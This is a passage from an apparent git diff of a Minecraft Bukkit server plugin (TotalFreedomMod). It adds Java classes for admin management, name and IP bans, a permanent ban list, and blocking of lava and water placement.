|
||||||
|
{
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
Admin admin = getAdmin(player);
|
||||||
|
return admin == null ? false : admin.getName().equalsIgnoreCase(player.getName());
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean addAdmin(Admin admin)
|
||||||
|
{
|
||||||
|
if (!admin.isValid())
|
||||||
|
{
|
||||||
|
logger.warning("Could not add admin: " + admin.getConfigKey() + " Admin is missing details!");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
final String key = admin.getConfigKey();
|
||||||
|
|
||||||
|
// Store admin, update views
|
||||||
|
allAdmins.put(key, admin);
|
||||||
|
updateTables();
|
||||||
|
|
||||||
|
// Save admin
|
||||||
|
admin.saveTo(config.createSection(key));
|
||||||
|
config.save();
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean removeAdmin(Admin admin)
|
||||||
|
{
|
||||||
|
if (admin.getRank().isAtLeast(Rank.TELNET_ADMIN))
|
||||||
|
{
|
||||||
|
if (plugin.btb != null)
|
||||||
|
{
|
||||||
|
plugin.btb.killTelnetSessions(admin.getName());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Remove admin, update views
|
||||||
|
if (allAdmins.remove(admin.getConfigKey()) == null)
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
updateTables();
|
||||||
|
|
||||||
|
// 'Unsave' admin
|
||||||
|
config.set(admin.getConfigKey(), null);
|
||||||
|
config.save();
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void updateTables()
|
||||||
|
{
|
||||||
|
activeAdmins.clear();
|
||||||
|
nameTable.clear();
|
||||||
|
ipTable.clear();
|
||||||
|
|
||||||
|
for (Admin admin : allAdmins.values())
|
||||||
|
{
|
||||||
|
if (!admin.isActive())
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
activeAdmins.add(admin);
|
||||||
|
nameTable.put(admin.getName().toLowerCase(), admin);
|
||||||
|
|
||||||
|
for (String ip : admin.getIps())
|
||||||
|
{
|
||||||
|
ipTable.put(ip, admin);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
plugin.wm.adminworld.wipeAccessCache();
|
||||||
|
}
|
||||||
|
|
||||||
|
public Set<String> getAdminNames()
|
||||||
|
{
|
||||||
|
return nameTable.keySet();
|
||||||
|
}
|
||||||
|
|
||||||
|
public Set<String> getAdminIps()
|
||||||
|
{
|
||||||
|
return ipTable.keySet();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void deactivateOldEntries(boolean verbose)
|
||||||
|
{
|
||||||
|
for (Admin admin : allAdmins.values())
|
||||||
|
{
|
||||||
|
if (!admin.isActive() || admin.getRank().isAtLeast(Rank.SENIOR_ADMIN))
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
final Date lastLogin = admin.getLastLogin();
|
||||||
|
final long lastLoginHours = TimeUnit.HOURS.convert(new Date().getTime() - lastLogin.getTime(), TimeUnit.MILLISECONDS);
|
||||||
|
|
||||||
|
if (lastLoginHours < ConfigEntry.ADMINLIST_CLEAN_THESHOLD_HOURS.getInteger())
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (verbose)
|
||||||
|
{
|
||||||
|
FUtil.adminAction("TotalFreedomMod", "Deactivating superadmin " + admin.getName() + ", inactive for " + lastLoginHours + " hours", true);
|
||||||
|
}
|
||||||
|
|
||||||
|
admin.setActive(false);
|
||||||
|
}
|
||||||
|
|
||||||
|
save();
|
||||||
|
updateTables();
|
||||||
|
}
|
||||||
|
}
|
279
src/main/java/me/totalfreedom/totalfreedommod/banning/Ban.java
Normal file
279
src/main/java/me/totalfreedom/totalfreedommod/banning/Ban.java
Normal file
@ -0,0 +1,279 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.banning;
|
||||||
|
|
||||||
|
import com.google.common.collect.Lists;
|
||||||
|
import java.text.SimpleDateFormat;
|
||||||
|
import java.util.Arrays;
|
||||||
|
import java.util.Date;
|
||||||
|
import java.util.HashSet;
|
||||||
|
import java.util.Iterator;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Set;
|
||||||
|
import lombok.Getter;
|
||||||
|
import lombok.Setter;
|
||||||
|
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import net.pravian.aero.base.ConfigLoadable;
|
||||||
|
import net.pravian.aero.base.ConfigSavable;
|
||||||
|
import net.pravian.aero.base.Validatable;
|
||||||
|
import net.pravian.aero.util.Ips;
|
||||||
|
import org.bukkit.ChatColor;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.configuration.ConfigurationSection;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
|
||||||
|
public class Ban implements ConfigLoadable, ConfigSavable, Validatable
|
||||||
|
{
|
||||||
|
|
||||||
|
public static final SimpleDateFormat DATE_FORMAT = new SimpleDateFormat("yyyy-MM-dd \'at\' HH:mm:ss z");
|
||||||
|
|
||||||
|
@Getter
|
||||||
|
@Setter
|
||||||
|
private String username = null;
|
||||||
|
@Getter
|
||||||
|
private final List<String> ips = Lists.newArrayList();
|
||||||
|
@Getter
|
||||||
|
@Setter
|
||||||
|
private String by = null;
|
||||||
|
@Getter
|
||||||
|
@Setter
|
||||||
|
private String reason = null; // Unformatted, &[0-9,a-f] instead of ChatColor
|
||||||
|
@Getter
|
||||||
|
@Setter
|
||||||
|
private long expiryUnix = -1;
|
||||||
|
|
||||||
|
public Ban()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public Ban(String username, String ip, String by, Date expire, String reason)
|
||||||
|
{
|
||||||
|
this(username,
|
||||||
|
new String[]
|
||||||
|
{
|
||||||
|
ip
|
||||||
|
},
|
||||||
|
by,
|
||||||
|
expire,
|
||||||
|
reason);
|
||||||
|
}
|
||||||
|
|
||||||
|
public Ban(String username, String[] ips, String by, Date expire, String reason)
|
||||||
|
{
|
||||||
|
this.username = username;
|
||||||
|
if (ips != null)
|
||||||
|
{
|
||||||
|
this.ips.addAll(Arrays.asList(ips));
|
||||||
|
}
|
||||||
|
dedupeIps();
|
||||||
|
this.by = by;
|
||||||
|
this.expiryUnix = FUtil.getUnixTime(expire);
|
||||||
|
this.reason = reason;
|
||||||
|
}
|
||||||
|
|
||||||
|
//
|
||||||
|
// For player IP
|
||||||
|
public static Ban forPlayerIp(Player player, CommandSender by)
|
||||||
|
{
|
||||||
|
return forPlayerIp(player, by, null, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Ban forPlayerIp(Player player, CommandSender by, Date expiry, String reason)
|
||||||
|
{
|
||||||
|
return new Ban(null, new String[]
|
||||||
|
{
|
||||||
|
Ips.getIp(player)
|
||||||
|
}, by.getName(), expiry, reason);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Ban forPlayerIp(String ip, CommandSender by, Date expiry, String reason)
|
||||||
|
{
|
||||||
|
return new Ban(null, ip, by.getName(), expiry, reason);
|
||||||
|
}
|
||||||
|
|
||||||
|
//
|
||||||
|
// For player name
|
||||||
|
public static Ban forPlayerName(Player player, CommandSender by, Date expiry, String reason)
|
||||||
|
{
|
||||||
|
return forPlayerName(player.getName(), by, expiry, reason);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Ban forPlayerName(String player, CommandSender by, Date expiry, String reason)
|
||||||
|
{
|
||||||
|
return new Ban(player,
|
||||||
|
(String[]) null,
|
||||||
|
by.getName(),
|
||||||
|
expiry,
|
||||||
|
reason);
|
||||||
|
}
|
||||||
|
|
||||||
|
//
|
||||||
|
// For player
|
||||||
|
public static Ban forPlayer(Player player, CommandSender by)
|
||||||
|
{
|
||||||
|
return forPlayerName(player, by, null, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Ban forPlayer(Player player, CommandSender by, Date expiry, String reason)
|
||||||
|
{
|
||||||
|
return new Ban(player.getName(),
|
||||||
|
Ips.getIp(player),
|
||||||
|
by.getName(),
|
||||||
|
expiry,
|
||||||
|
reason);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Ban forPlayerFuzzy(Player player, CommandSender by, Date expiry, String reason)
|
||||||
|
{
|
||||||
|
return new Ban(player.getName(),
|
||||||
|
FUtil.getFuzzyIp(Ips.getIp(player)),
|
||||||
|
by.getName(),
|
||||||
|
expiry,
|
||||||
|
reason);
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean hasUsername()
|
||||||
|
{
|
||||||
|
return username != null && !username.isEmpty();
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean addIp(String ip)
|
||||||
|
{
|
||||||
|
return ips.add(ip);
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean removeIp(String ip)
|
||||||
|
{
|
||||||
|
return ips.remove(ip);
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean hasIps()
|
||||||
|
{
|
||||||
|
return !ips.isEmpty();
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean hasExpiry()
|
||||||
|
{
|
||||||
|
return expiryUnix > 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Date getExpiryDate()
|
||||||
|
{
|
||||||
|
return FUtil.getUnixDate(expiryUnix);
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean isExpired()
|
||||||
|
{
|
||||||
|
return hasExpiry() && expiryUnix < FUtil.getUnixTime();
|
||||||
|
}
|
||||||
|
|
||||||
|
public String bakeKickMessage()
|
||||||
|
{
|
||||||
|
final StringBuilder message = new StringBuilder(ChatColor.GOLD + "You");
|
||||||
|
|
||||||
|
message.append(!hasUsername() ? "r IP address is" : " are").append(" temporarily banned from this server.");
|
||||||
|
message.append("\nAppeal at ").append(ChatColor.BLUE)
|
||||||
|
.append(ConfigEntry.SERVER_BAN_URL.getString());
|
||||||
|
|
||||||
|
if (reason != null)
|
||||||
|
{
|
||||||
|
message.append("\n").append(ChatColor.RED).append("Reason: ").append(ChatColor.GOLD)
|
||||||
|
.append(ChatColor.translateAlternateColorCodes('&', reason));
|
||||||
|
}
|
||||||
|
|
||||||
|
if (by != null)
|
||||||
|
{
|
||||||
|
message.append("\n").append(ChatColor.RED).append("Banned by: ").append(ChatColor.GOLD)
|
||||||
|
.append(by);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (getExpiryUnix() != 0)
|
||||||
|
{
|
||||||
|
message.append("\n").append(ChatColor.RED).append("Expires: ").append(ChatColor.GOLD)
|
||||||
|
.append(DATE_FORMAT.format(FUtil.getUnixDate(expiryUnix)));
|
||||||
|
}
|
||||||
|
|
||||||
|
return message.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public boolean equals(Object object)
|
||||||
|
{
|
||||||
|
if (object == null)
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!(object instanceof Ban))
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
final Ban ban = (Ban) object;
|
||||||
|
if (hasIps() != ban.hasIps()
|
||||||
|
|| hasUsername() != hasUsername())
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (hasIps() && !(getIps().equals(ban.getIps())))
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
return !(hasUsername() && !(getUsername().equalsIgnoreCase(ban.getUsername())));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public int hashCode()
|
||||||
|
{
|
||||||
|
int hash = 7;
|
||||||
|
hash = 79 * hash + (this.username != null ? this.username.toLowerCase().hashCode() : 0);
|
||||||
|
hash = 79 * hash + (this.ips != null ? this.ips.hashCode() : 0);
|
||||||
|
return hash;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void loadFrom(ConfigurationSection cs)
|
||||||
|
{
|
||||||
|
this.username = cs.getString("username", null);
|
||||||
|
this.ips.clear();
|
||||||
|
this.ips.addAll(cs.getStringList("ips"));
|
||||||
|
this.by = cs.getString("by", null);
|
||||||
|
this.reason = cs.getString("reason", null);
|
||||||
|
this.expiryUnix = cs.getLong("expiry_unix", 0);
|
||||||
|
dedupeIps();
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void saveTo(ConfigurationSection cs)
|
||||||
|
{
|
||||||
|
dedupeIps();
|
||||||
|
cs.set("username", username);
|
||||||
|
cs.set("ips", ips.isEmpty() ? null : ips);
|
||||||
|
cs.set("by", by);
|
||||||
|
cs.set("reason", reason);
|
||||||
|
cs.set("expiry_unix", expiryUnix > 0 ? expiryUnix : null);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public boolean isValid()
|
||||||
|
{
|
||||||
|
return username != null || !ips.isEmpty();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void dedupeIps()
|
||||||
|
{
|
||||||
|
|
||||||
|
Set<String> uniqueIps = new HashSet<>();
|
||||||
|
|
||||||
|
Iterator<String> it = ips.iterator();
|
||||||
|
while (it.hasNext())
|
||||||
|
{
|
||||||
|
if (!uniqueIps.add(it.next()))
|
||||||
|
{
|
||||||
|
it.remove();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,303 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.banning;
|
||||||
|
|
||||||
|
import com.google.common.collect.Lists;
|
||||||
|
import com.google.common.collect.Maps;
|
||||||
|
import com.google.common.collect.Sets;
|
||||||
|
import java.util.Collection;
|
||||||
|
import java.util.Collections;
|
||||||
|
import java.util.Iterator;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
|
import me.totalfreedom.totalfreedommod.FreedomService;
|
||||||
|
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
|
||||||
|
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||||
|
import me.totalfreedom.totalfreedommod.player.PlayerData;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FLog;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import net.pravian.aero.config.YamlConfig;
|
||||||
|
import net.pravian.aero.util.Ips;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
import org.bukkit.event.EventHandler;
|
||||||
|
import org.bukkit.event.EventPriority;
|
||||||
|
import org.bukkit.event.player.PlayerJoinEvent;
|
||||||
|
import org.bukkit.event.player.PlayerLoginEvent;
|
||||||
|
|
||||||
|
public class BanManager extends FreedomService
|
||||||
|
{
|
||||||
|
|
||||||
|
private final Set<Ban> bans = Sets.newHashSet();
|
||||||
|
private final Map<String, Ban> ipBans = Maps.newHashMap();
|
||||||
|
private final Map<String, Ban> nameBans = Maps.newHashMap();
|
||||||
|
private final List<String> unbannableUsernames = Lists.newArrayList();
|
||||||
|
//
|
||||||
|
private final YamlConfig config;
|
||||||
|
|
||||||
|
public BanManager(TotalFreedomMod plugin)
|
||||||
|
{
|
||||||
|
super(plugin);
|
||||||
|
this.config = new YamlConfig(plugin, "bans.yml");
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStart()
|
||||||
|
{
|
||||||
|
config.load();
|
||||||
|
|
||||||
|
bans.clear();
|
||||||
|
for (String id : config.getKeys(false))
|
||||||
|
{
|
||||||
|
if (!config.isConfigurationSection(id))
|
||||||
|
{
|
||||||
|
FLog.warning("Could not load username ban: " + id + ". Invalid format!");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
Ban ban = new Ban();
|
||||||
|
ban.loadFrom(config.getConfigurationSection(id));
|
||||||
|
|
||||||
|
if (!ban.isValid())
|
||||||
|
{
|
||||||
|
FLog.warning("Not adding username ban: " + id + ". Missing information.");
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
bans.add(ban);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Remove expired bans, repopulate ipBans and nameBans,
|
||||||
|
updateViews();
|
||||||
|
|
||||||
|
FLog.info("Loaded " + ipBans.size() + " IP bans and " + nameBans.size() + " username bans.");
|
||||||
|
|
||||||
|
// Load unbannable usernames
|
||||||
|
unbannableUsernames.clear();
|
||||||
|
unbannableUsernames.addAll((Collection<? extends String>) ConfigEntry.FAMOUS_PLAYERS.getList());
|
||||||
|
FLog.info("Loaded " + unbannableUsernames.size() + " unbannable usernames.");
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStop()
|
||||||
|
{
|
||||||
|
saveAll();
|
||||||
|
logger.info("Saved " + bans.size() + " player bans");
|
||||||
|
}
|
||||||
|
|
||||||
|
public Set<Ban> getAllBans()
|
||||||
|
{
|
||||||
|
return Collections.unmodifiableSet(bans);
|
||||||
|
}
|
||||||
|
|
||||||
|
public Collection<Ban> getIpBans()
|
||||||
|
{
|
||||||
|
return Collections.unmodifiableCollection(ipBans.values());
|
||||||
|
}
|
||||||
|
|
||||||
|
public Collection<Ban> getUsernameBans()
|
||||||
|
{
|
||||||
|
return Collections.unmodifiableCollection(nameBans.values());
|
||||||
|
}
|
||||||
|
|
||||||
|
public void saveAll()
|
||||||
|
{
|
||||||
|
// Remove expired
|
||||||
|
updateViews();
|
||||||
|
|
||||||
|
config.clear();
|
||||||
|
for (Ban ban : bans)
|
||||||
|
{
|
||||||
|
ban.saveTo(config.createSection(String.valueOf(ban.hashCode())));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Save config
|
||||||
|
config.save();
|
||||||
|
}
|
||||||
|
|
||||||
|
public Ban getByIp(String ip)
|
||||||
|
{
|
||||||
|
final Ban directBan = ipBans.get(ip);
|
||||||
|
if (directBan != null && !directBan.isExpired())
|
||||||
|
{
|
||||||
|
return directBan;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Match fuzzy IP
|
||||||
|
for (Ban loopBan : ipBans.values())
|
||||||
|
{
|
||||||
|
if (loopBan.isExpired())
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (String loopIp : loopBan.getIps())
|
||||||
|
{
|
||||||
|
if (!loopIp.contains("*"))
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (Ips.fuzzyIpMatch(ip, loopIp, 4))
|
||||||
|
{
|
||||||
|
return loopBan;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Ban getByUsername(String username)
|
||||||
|
{
|
||||||
|
username = username.toLowerCase();
|
||||||
|
final Ban directBan = nameBans.get(username);
|
||||||
|
|
||||||
|
if (directBan != null && !directBan.isExpired())
|
||||||
|
{
|
||||||
|
return directBan;
|
||||||
|
}
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Ban unbanIp(String ip)
|
||||||
|
{
|
||||||
|
final Ban ban = getByIp(ip);
|
||||||
|
|
||||||
|
if (ban != null)
|
||||||
|
{
|
||||||
|
bans.remove(ban);
|
||||||
|
saveAll();
|
||||||
|
}
|
||||||
|
|
||||||
|
return ban;
|
||||||
|
}
|
||||||
|
|
||||||
|
public Ban unbanUsername(String username)
|
||||||
|
{
|
||||||
|
final Ban ban = getByUsername(username);
|
||||||
|
|
||||||
|
if (ban != null)
|
||||||
|
{
|
||||||
|
bans.remove(ban);
|
||||||
|
saveAll();
|
||||||
|
}
|
||||||
|
|
||||||
|
return ban;
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean isIpBanned(String ip)
|
||||||
|
{
|
||||||
|
return getByIp(ip) != null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean isUsernameBanned(String username)
|
||||||
|
{
|
||||||
|
return getByUsername(username) != null;
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean addBan(Ban ban)
|
||||||
|
{
|
||||||
|
if (bans.add(ban))
|
||||||
|
{
|
||||||
|
saveAll();
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean removeBan(Ban ban)
|
||||||
|
{
|
||||||
|
if (bans.remove(ban))
|
||||||
|
{
|
||||||
|
saveAll();
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
public int purge()
|
||||||
|
{
|
||||||
|
config.clear();
|
||||||
|
config.save();
|
||||||
|
|
||||||
|
int size = bans.size();
|
||||||
|
bans.clear();
|
||||||
|
updateViews();
|
||||||
|
|
||||||
|
return size;
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.LOW)
|
||||||
|
public void onPlayerLogin(PlayerLoginEvent event)
|
||||||
|
{
|
||||||
|
final String username = event.getPlayer().getName();
|
||||||
|
final String ip = Ips.getIp(event);
|
||||||
|
|
||||||
|
// Regular ban
|
||||||
|
Ban ban = getByUsername(username);
|
||||||
|
if (ban == null)
|
||||||
|
{
|
||||||
|
ban = getByIp(ip);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ban != null && !ban.isExpired())
|
||||||
|
{
|
||||||
|
event.disallow(PlayerLoginEvent.Result.KICK_OTHER, ban.bakeKickMessage());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.LOW)
|
||||||
|
public void onPlayerJoin(PlayerJoinEvent event)
|
||||||
|
{
|
||||||
|
final Player player = event.getPlayer();
|
||||||
|
final PlayerData data = plugin.pl.getData(player);
|
||||||
|
|
||||||
|
if (!plugin.al.isAdmin(player))
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Unban admins
|
||||||
|
for (String storedIp : data.getIps())
|
||||||
|
{
|
||||||
|
unbanIp(storedIp);
|
||||||
|
unbanIp(FUtil.getFuzzyIp(storedIp));
|
||||||
|
}
|
||||||
|
|
||||||
|
unbanUsername(player.getName());
|
||||||
|
player.setOp(true);
|
||||||
|
}
|
||||||
|
|
||||||
|
private void updateViews()
|
||||||
|
{
|
||||||
|
// Remove expired bans
|
||||||
|
for (Iterator<Ban> it = bans.iterator(); it.hasNext();)
|
||||||
|
{
|
||||||
|
if (it.next().isExpired())
|
||||||
|
{
|
||||||
|
it.remove();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
nameBans.clear();
|
||||||
|
ipBans.clear();
|
||||||
|
for (Ban ban : bans)
|
||||||
|
{
|
||||||
|
if (ban.hasUsername())
|
||||||
|
{
|
||||||
|
nameBans.put(ban.getUsername().toLowerCase(), ban);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (ban.hasIps())
|
||||||
|
{
|
||||||
|
for (String ip : ban.getIps())
|
||||||
|
{
|
||||||
|
ipBans.put(ip, ban);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
@ -0,0 +1,90 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.banning;
|
||||||
|
|
||||||
|
import com.google.common.collect.Sets;
|
||||||
|
import java.util.Set;
|
||||||
|
import lombok.Getter;
|
||||||
|
import me.totalfreedom.totalfreedommod.FreedomService;
|
||||||
|
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
|
||||||
|
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FLog;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import net.pravian.aero.config.YamlConfig;
|
||||||
|
import net.pravian.aero.util.Ips;
|
||||||
|
import org.bukkit.ChatColor;
|
||||||
|
import org.bukkit.event.EventHandler;
|
||||||
|
import org.bukkit.event.EventPriority;
|
||||||
|
import org.bukkit.event.player.PlayerLoginEvent;
|
||||||
|
|
||||||
|
public class PermbanList extends FreedomService
|
||||||
|
{
|
||||||
|
|
||||||
|
public static final String CONFIG_FILENAME = "permbans.yml";
|
||||||
|
|
||||||
|
@Getter
|
||||||
|
private final Set<String> permbannedNames = Sets.newHashSet();
|
||||||
|
@Getter
|
||||||
|
private final Set<String> permbannedIps = Sets.newHashSet();
|
||||||
|
|
||||||
|
public PermbanList(TotalFreedomMod plugin)
|
||||||
|
{
|
||||||
|
super(plugin);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStart()
|
||||||
|
{
|
||||||
|
permbannedNames.clear();
|
||||||
|
permbannedIps.clear();
|
||||||
|
|
||||||
|
final YamlConfig config = new YamlConfig(plugin, CONFIG_FILENAME, true);
|
||||||
|
config.load();
|
||||||
|
|
||||||
|
for (String name : config.getKeys(false))
|
||||||
|
{
|
||||||
|
permbannedNames.add(name.toLowerCase().trim());
|
||||||
|
permbannedIps.addAll(config.getStringList(name));
|
||||||
|
}
|
||||||
|
|
||||||
|
FLog.info("Loaded " + permbannedIps.size() + " perm IP bans and " + permbannedNames.size() + " perm username bans.");
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStop()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.LOWEST)
|
||||||
|
public void onPlayerLogin(PlayerLoginEvent event)
|
||||||
|
{
|
||||||
|
final String username = event.getPlayer().getName();
|
||||||
|
final String ip = Ips.getIp(event);
|
||||||
|
|
||||||
|
// Permbanned IPs
|
||||||
|
for (String testIp : getPermbannedIps())
|
||||||
|
{
|
||||||
|
if (FUtil.fuzzyIpMatch(testIp, ip, 4))
|
||||||
|
{
|
||||||
|
event.disallow(PlayerLoginEvent.Result.KICK_OTHER,
|
||||||
|
ChatColor.RED + "Your IP address is permanently banned from this server.\n"
|
||||||
|
+ "Release procedures are available at\n"
|
||||||
|
+ ChatColor.GOLD + ConfigEntry.SERVER_PERMBAN_URL.getString());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Permbanned usernames
|
||||||
|
for (String testPlayer : getPermbannedNames())
|
||||||
|
{
|
||||||
|
if (testPlayer.equalsIgnoreCase(username))
|
||||||
|
{
|
||||||
|
event.disallow(PlayerLoginEvent.Result.KICK_OTHER,
|
||||||
|
ChatColor.RED + "Your username is permanently banned from this server.\n"
|
||||||
|
+ "Release procedures are available at\n"
|
||||||
|
+ ChatColor.GOLD + ConfigEntry.SERVER_PERMBAN_URL.getString());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
@ -0,0 +1,122 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.blocking;
|
||||||
|
|
||||||
|
import me.totalfreedom.totalfreedommod.FreedomService;
|
||||||
|
import me.totalfreedom.totalfreedommod.TotalFreedomMod;
|
||||||
|
import me.totalfreedom.totalfreedommod.config.ConfigEntry;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FLog;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import org.bukkit.ChatColor;
|
||||||
|
import org.bukkit.Material;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
import org.bukkit.event.EventHandler;
|
||||||
|
import org.bukkit.event.EventPriority;
|
||||||
|
import org.bukkit.event.block.BlockPlaceEvent;
|
||||||
|
import org.bukkit.inventory.ItemStack;
|
||||||
|
|
||||||
|
public class BlockBlocker extends FreedomService
|
||||||
|
{
|
||||||
|
|
||||||
|
public BlockBlocker(TotalFreedomMod plugin)
|
||||||
|
{
|
||||||
|
super(plugin);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStart()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void onStop()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
@EventHandler(priority = EventPriority.HIGH)
|
||||||
|
public void onBlockPlace(BlockPlaceEvent event)
|
||||||
|
{
|
||||||
|
final Player player = event.getPlayer();
|
||||||
|
|
||||||
|
switch (event.getBlockPlaced().getType())
|
||||||
|
{
|
||||||
|
case LAVA:
|
||||||
|
case STATIONARY_LAVA:
|
||||||
|
{
|
||||||
|
if (ConfigEntry.ALLOW_LAVA_PLACE.getBoolean())
|
||||||
|
{
|
||||||
|
FLog.info(String.format("%s placed lava @ %s", player.getName(), FUtil.formatLocation(event.getBlock().getLocation())));
|
||||||
|
|
||||||
|
player.getInventory().clear(player.getInventory().getHeldItemSlot());
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
player.getInventory().setItem(player.getInventory().getHeldItemSlot(), new ItemStack(Material.COOKIE, 1));
|
||||||
|
player.sendMessage(ChatColor.GRAY + "Lava placement is currently disabled.");
|
||||||
|
|
||||||
|
event.setCancelled(true);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case WATER:
|
||||||
|
case STATIONARY_WATER:
|
||||||
|
{
|
||||||
|
if (ConfigEntry.ALLOW_WATER_PLACE.getBoolean())
|
||||||
|
{
|
||||||
|
FLog.info(String.format("%s placed water @ %s", player.getName(), FUtil.formatLocation(event.getBlock().getLocation())));
|
||||||
|
|
||||||
|
player.getInventory().clear(player.getInventory().getHeldItemSlot());
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
player.getInventory().setItem(player.getInventory().getHeldItemSlot(), new ItemStack(Material.COOKIE, 1));
|
||||||
|
